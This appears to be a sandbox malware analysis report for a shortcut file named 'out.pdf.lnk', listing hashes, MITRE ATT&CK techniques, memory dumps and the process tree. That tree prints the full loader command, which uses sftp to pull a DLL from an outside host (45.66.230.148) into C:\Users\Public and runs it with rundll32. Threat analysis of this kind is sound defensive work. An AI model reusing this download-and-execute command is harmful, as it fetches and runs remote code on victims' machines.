a7ebacd3fa2e99434f8331fc19ec952fd0b846da1a2558e7f5029a1ce95bf7ed

Analysis

max time kernel
149s
max time network
163s
platform
windows10-2004_x64
resource
win10v2004-20230915-en
resource tags

arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
submitted
10-10-2023 20:36

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

out.pdf.lnk
Size

2KB
MD5

f30bf10eeac3276b62c877dd5abd85ca
SHA1

ddf15ec98d378a11a5dd538f7508a02570b52ad3
SHA256

c4ab5d7bcedd94a27cef4c5f11d5fde3d4322c3215667fd31e0101733c2034ad
SHA512

58c82c3b8b009809bb68ea809a0b0da7fabda22a443e381a49964d889383114491604dea56d32aeb7ae62d68ac88477de6a00030526790693e6e66150c7810ee

Score

7^/10

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2890696111-2332180956-3312704074-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeManageVolumePrivilege	2476	svchost.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3560 wrote to memory of 4896	3560	cmd.exe	87
PID 3560 wrote to memory of 4896	3560	cmd.exe	87
PID 4896 wrote to memory of 3020	4896	cmd.exe	88
PID 4896 wrote to memory of 3020	4896	cmd.exe	88
PID 3020 wrote to memory of 3760	3020	sftp.exe	89
PID 3020 wrote to memory of 3760	3020	sftp.exe	89
PID 4896 wrote to memory of 5012	4896	cmd.exe	90
PID 4896 wrote to memory of 5012	4896	cmd.exe	90

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\out.pdf.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3560
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /C sftp -o StrictHostKeyChecking=no [email protected]:lol4.dll C:\Users\Public\lol4.dll & rundll32 C:\Users\Public\lol4.dll, #1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4896
- - C:\Windows\System32\OpenSSH\sftp.exe
    sftp -o StrictHostKeyChecking=no [email protected]:lol4.dll C:\Users\Public\lol4.dll
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3020
  - - C:\Windows\System32\OpenSSH\ssh.exe
      "C:\Windows\System32\OpenSSH\ssh.exe" "-oForwardX11 no" "-oForwardAgent no" "-oPermitLocalCommand no" "-oClearAllForwardings yes" -o StrictHostKeyChecking=no -l sftp "-oProtocol 2" -s -- 45.66.230.148 sftp
      4⤵
      PID:3760
- - C:\Windows\System32\rundll32.exe
    rundll32 C:\Users\Public\lol4.dll, #1
    3⤵
    PID:5012

C:\Windows\system32\rundll32.exe
"C:\Windows\system32\rundll32.exe" "C:\Windows\SYSTEM32\EDGEHTML.dll",#141 Microsoft.VCLibs.140.00_8wekyb3d8bbwe
1⤵
PID:5068

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k UnistackSvcGroup
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2476

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2476-1-0x000002B504970000-0x000002B504980000-memory.dmp

Filesize
64KB

Download
memory/2476-17-0x000002B504A70000-0x000002B504A80000-memory.dmp

Filesize
64KB

Download
memory/2476-33-0x000002B50CDE0000-0x000002B50CDE1000-memory.dmp

Filesize
4KB

Download
memory/2476-35-0x000002B50CE10000-0x000002B50CE11000-memory.dmp

Filesize
4KB

Download
memory/2476-36-0x000002B50CE10000-0x000002B50CE11000-memory.dmp

Filesize
4KB

Download
memory/2476-37-0x000002B50CF20000-0x000002B50CF21000-memory.dmp

Filesize
4KB

Download